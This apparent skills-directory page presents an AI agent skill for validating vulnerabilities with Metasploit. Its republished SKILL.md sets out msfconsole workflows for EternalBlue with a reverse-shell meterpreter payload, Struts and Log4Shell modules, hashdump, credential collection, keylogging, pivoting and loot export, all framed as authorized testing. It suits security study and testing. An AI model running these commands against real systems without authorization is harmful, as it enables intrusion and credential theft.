New: 98,000+ skills indexed from GitHub repos with 100+ stars · every skill safety-checkedBrowse top skillsTop skills
Esc to closeBrowse all skills
Submit a skillBrowse skills
Submit a skillBrowse skills

Agent skill

Exploiting Vulnerabilities With Metasploit Framework

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather…

Apache-2.0Auto-check: notesSecurity

Install Exploiting Vulnerabilities With Metasploit Framework

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-vulnerabilities-with-metasploit-framework -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-vulnerabilities-with-metasploit-framework --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/exploiting-vulnerabilities-with-metasploit-framework .claude/skills/exploiting-vulnerabilities-with-metasploit-framework && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
exploiting-vulnerabilities-with-metasploit-framework
GitHub stars
34k
Token cost
~1.9k tokens
SKILL.md length
435 words
Files
8 (incl. scripts, references, assets)
Skills in repo
637
Repo updated
First seen
Licence
Apache-2.0

At a glance

Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather…

  • Works in 6 steps: Initialize Metasploit Environment → Validate Specific Vulnerabilities → Auxiliary Scanning for Validation → …
  • Performing vulnerability management validation
  • SKILL.md covers Overview, When to Use, Prerequisites and Core Concepts, plus 5 more sections
  • Runs Python scripts from its folder

What it does

Exploiting Vulnerabilities With Metasploit Framework is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone.

Its SKILL.md is about 1.9k tokens, which your agent loads only when the skill is triggered. The skill folder holds 10 other files, including scripts, reference files and assets (for example `assets/template.md`, `references/api-reference.md` and `references/standards.md`).

It sits in Security, covering Penetration testing, Vulnerability scanning and Red teaming and adversary simulation. It works with Metasploit. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Performing vulnerability management validation
  • Penetration testing
  • Post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone

Example prompts

  • “Use the exploiting-vulnerabilities-with-metasploit-framework skill to use the Metasploit Framework (msfconsole and its exploit, auxiliary, and…”
  • “/exploiting-vulnerabilities-with-metasploit-framework”

Requirements

  • Python 3

Workflow steps

6 steps, taken from the step headings in SKILL.md.

  1. Initialize Metasploit Environment
  2. Validate Specific Vulnerabilities
  3. Auxiliary Scanning for Validation
  4. Post-Exploitation Impact Assessment
  5. Document and Report Findings
  6. Post-Patch Verification

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 2 files in scripts/ (Python), which the agent can run.

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Exploiting Vulnerabilities With Metasploit Framework loads about 1.9k tokens when it runs, and up to ~3.5k if it reads all its reference files. Until then it costs about 124 tokens; SKILL.md has 435 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~124
When it runs · the whole SKILL.md, loaded when a task matches
~1.9k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~3.5k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: notes

The automated check noted patterns worth knowing about, such as sudo or a known installer.

  • NoteRuns commands with sudoSKILL.md:74
    sudo systemctl start postgresql
  • NoteRuns commands with sudoSKILL.md:75
    sudo msfdb init

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 435 words, ~1,870 tokens.

Download SKILL.mdSave it as .claude/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md (or your agent's skills folder). This skill also uses 7 other files; get the full folder from GitHub.
name
exploiting-vulnerabilities-with-metasploit-framework
description
Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone.
domain
cybersecurity
subdomain
vulnerability-management
tags
vulnerability-management, cve, metasploit, exploitation, penetration-testing, risk
version
1.0
author
mahipal
license
Apache-2.0
nist_csf
ID.RA-01, ID.RA-02, ID.IM-02, ID.RA-06
mitre_attack
T1190, T1203, T1068

Exploiting Vulnerabilities with Metasploit Framework

Overview

The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.

When to Use

  • When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Metasploit Framework installed (Kali Linux or standalone)
  • PostgreSQL database for session/credential management
  • Written authorization and rules of engagement for testing
  • Isolated test environment or approved production testing window
  • Understanding of networking, protocols, and exploitation concepts

Core Concepts

Metasploit Architecture
  • msfconsole: Primary interactive command-line interface
  • Exploits: Modules that leverage vulnerabilities to gain access
  • Payloads: Code executed on the target after successful exploitation
  • Auxiliary: Scanning, fuzzing, and information gathering modules
  • Post-Exploitation: Modules for privilege escalation, persistence, pivoting
  • Encoders: Payload encoding to evade signature-based detection
  • Nops: No-operation generators for payload alignment
Exploitation Workflow in Vulnerability Management

Unlike offensive red teaming, vulnerability management uses Metasploit to:

  1. Validate scanner findings (confirm exploitability)
  2. Demonstrate risk to business stakeholders
  3. Prioritize remediation based on proven exploitation paths
  4. Verify patches by confirming exploits no longer succeed

Workflow

Step 1: Initialize Metasploit Environment
bash
# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init

# Launch msfconsole
msfconsole -q

# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025

# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns
Step 2: Validate Specific Vulnerabilities
bash
# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444

# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# Only exploit if check confirms vulnerability and authorized
msf6> exploit

# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check

# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check
Step 3: Auxiliary Scanning for Validation
bash
# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run

# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run

# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run

# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run
Step 4: Post-Exploitation Impact Assessment
bash
# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector

# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy

# Screenshot for evidence
meterpreter> screenshot
meterpreter> keyscan_start
Step 5: Document and Report Findings
bash
# Export exploitation evidence
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv

# Generate report from database
msf6> db_export -f xml /tmp/msf_report.xml
Show full SKILL.md (172 more words)Show less
Step 6: Post-Patch Verification
bash
# After remediation, verify exploit no longer works
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# Patch verified successfully

Safety Controls

  1. Always use check command before exploit when available
  2. Set AutoRunScript for clean session management
  3. Use EXITFUNC=thread to prevent crashing target services
  4. Limit payload capabilities to minimum needed for validation
  5. Document every action for audit trail and evidence
  6. Use workspace isolation per engagement
  7. Never run Metasploit against unauthorized targets

Best Practices

  1. Start with vulnerability check modules before exploitation
  2. Use Metasploit to validate top-priority scanner findings only
  3. Coordinate with system owners for testing windows
  4. Maintain detailed logs of all exploitation attempts
  5. Clean up all artifacts and sessions after testing
  6. Use results to create compelling risk narratives for stakeholders
  7. Integrate Metasploit validation into vulnerability management workflow

Common Pitfalls

  • Exploiting without written authorization (legal liability)
  • Using exploitation on production systems without coordination
  • Not cleaning up Meterpreter sessions and artifacts
  • Confusing vulnerability validation with penetration testing scope
  • Using outdated Metasploit modules against patched systems
  • Failing to document exploitation evidence for remediation teams
  • performing-red-team-validated-vulnerability-testing
  • scanning-infrastructure-with-nessus
  • performing-network-vulnerability-assessment

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 7 other files (scripts, references, assets) in skills/exploiting-vulnerabilities-with-metasploit-framework of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • assets/template.md
  • references/api-reference.md
  • references/standards.md
  • references/workflows.md
  • scripts/agent.py
  • scripts/process.py

Open the folder on GitHubat commit 54a7988

Compare with similar skills

Exploiting Vulnerabilities With Metasploit Framework next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Exploiting Vulnerabilities With Metasploit Framework compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Exploiting Vulnerabilities With Metasploit Framework this skillmukul975/Anthropic-Cybersecurity-Skills34k—~1.9kAutomated safety check: NotesApache-2.0
Cybersecurityohmyjahh/xquads-squads276—~895Automated safety check: PassMIT
Code Audit3stoneBrother/code-audit8931 repos~2.7kAutomated safety check: PassNone
Add Community Skillsamugit83/redamon3k—~775Automated safety check: PassMIT
NmapBrownFineSecurity/iothackbot8582 repos~3.8kAutomated safety check: NotesMIT
Defending Applicationstelagod/code-abyss243—~777Automated safety check: PassMIT

Similar skills

  • Cybersecurity

    ohmyjahh/xquads-squads

    Squad de 15 agentes de seguranca ofensiva e defensiva (Georgia Weidman, Peter Kim, Jim Manico, Chris Sanders, Omar Santos, Marcus Carey) cobrindo pentest, red team, blue team, AppSec, recon e…

    276 GitHub stars~895 tokensUpdated 9 days ago
    SecurityAuto-check passed

  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    893 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed

  • Add Community Skill

    samugit83/redamon

    Adding a Community Agent Skill: a Markdown attack-workflow file that users import from the catalog, which then competes in the Intent Router and is injected into the agent's system prompt.

    3k GitHub stars~775 tokensUpdated yesterday
    SecurityAuto-check passed

  • Nmap

    BrownFineSecurity/iothackbot

    Professional network reconnaissance and port scanning using nmap.

    858 GitHub starsUsed in 2 repos~3.8k tokens
    SecurityAuto-check: notes

  • Defending Applications

    telagod/code-abyss

    Application security defense knowledge for builders. An agent skill from telagod/code-abyss.

    243 GitHub stars~777 tokensUpdated 2 mo ago
    SecurityAuto-check passed

  • Network Scanner

    ptn1411/skill

    Run authorized network reconnaissance with Nmap on Windows (or Linux).

    219 GitHub stars~1.4k tokensUpdated 16 days ago
    SecurityAuto-check: notes

More from mukul975/Anthropic-Cybersecurity-Skills

All 637 skills in this repo

  • Campaign Attribution Evidence Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Weighs infrastructure, TTP, malware code and timing evidence with the Diamond Model and competing hypotheses to reach a confidence-rated attribution.

    34k GitHub stars~2.3k tokensUpdated 1 mo ago
    Auto-check passed

  • Go Malware Analysis in Ghidra

    mukul975/Anthropic-Cybersecurity-Skills

    Walks through reverse engineering Go-compiled malware in Ghidra: parsing buildinfo and pclntab, recovering stripped function names and extracting dependencies.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed

  • LNK and Jump List Forensics

    mukul975/Anthropic-Cybersecurity-Skills

    Guides forensic analysis of Windows LNK shortcut files and Jump Lists with LECmd, JLECmd and manual parsing to show file access and program execution.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed

  • Malware Persistence Analysis with Autoruns

    mukul975/Anthropic-Cybersecurity-Skills

    Hunts Windows malware persistence with Sysinternals Autoruns, covering run keys, services, scheduled tasks and drivers, with baseline comparison.

    34k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed

  • NTFS MFT Deleted File Recovery

    mukul975/Anthropic-Cybersecurity-Skills

    Guides a Windows forensic examination of the NTFS Master File Table to recover deleted-file evidence, build timelines and spot timestomping.

    34k GitHub stars~2.7k tokensUpdated 1 mo ago
    Auto-check passed

  • Network Covert Channel Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.

    34k GitHub stars~2k tokensUpdated 1 mo ago
    Auto-check passed

Works with

Categories

Questions about Exploiting Vulnerabilities With Metasploit Framework

What does Exploiting Vulnerabilities With Metasploit Framework do?

Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather…. Exploiting Vulnerabilities With Metasploit Framework is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation.

When should I use Exploiting Vulnerabilities With Metasploit Framework?

Exploiting Vulnerabilities With Metasploit Framework fits situations like: performing vulnerability management validation; penetration testing; post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone.

How do I install Exploiting Vulnerabilities With Metasploit Framework in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-vulnerabilities-with-metasploit-framework -a claude-code`. Or copy the skill folder (skills/exploiting-vulnerabilities-with-metasploit-framework in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/exploiting-vulnerabilities-with-metasploit-framework in your project. Claude Code loads it when a task matches its description.

How do I install Exploiting Vulnerabilities With Metasploit Framework in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-vulnerabilities-with-metasploit-framework -a codex`. Or copy the skill folder (skills/exploiting-vulnerabilities-with-metasploit-framework in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/exploiting-vulnerabilities-with-metasploit-framework in your project. Codex loads it when a task matches its description.

Can I use Exploiting Vulnerabilities With Metasploit Framework in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-vulnerabilities-with-metasploit-framework -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/exploiting-vulnerabilities-with-metasploit-framework, .gemini/skills/exploiting-vulnerabilities-with-metasploit-framework, .github/skills/exploiting-vulnerabilities-with-metasploit-framework and .opencode/skills/exploiting-vulnerabilities-with-metasploit-framework in your project.

What does Exploiting Vulnerabilities With Metasploit Framework need to run?

Going by SKILL.md and its folder, Exploiting Vulnerabilities With Metasploit Framework needs Python for the scripts in its folder. Our summary lists: Python 3.

Does Exploiting Vulnerabilities With Metasploit Framework access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Exploiting Vulnerabilities With Metasploit Framework safe to install?

Our automated static check of SKILL.md found notes only (runs commands with sudo), nothing it rates as a warning. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Exploiting Vulnerabilities With Metasploit Framework use?

Exploiting Vulnerabilities With Metasploit Framework is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Exploiting Vulnerabilities With Metasploit Framework use?

About 1.9k tokens (SKILL.md is roughly 7.5k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 1.6k tokens, read only when the agent opens those files.

What are the alternatives to Exploiting Vulnerabilities With Metasploit Framework?

Skills that share tags, products or a category with Exploiting Vulnerabilities With Metasploit Framework: Cybersecurity (ohmyjahh/xquads-squads, 276 stars), Code Audit (3stoneBrother/code-audit, 893 stars), Add Community Skill (samugit83/redamon, 3k stars) and Nmap (BrownFineSecurity/iothackbot, 858 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Exploiting Vulnerabilities With Metasploit Framework?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 33,922 GitHub stars. The repository holds 637 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.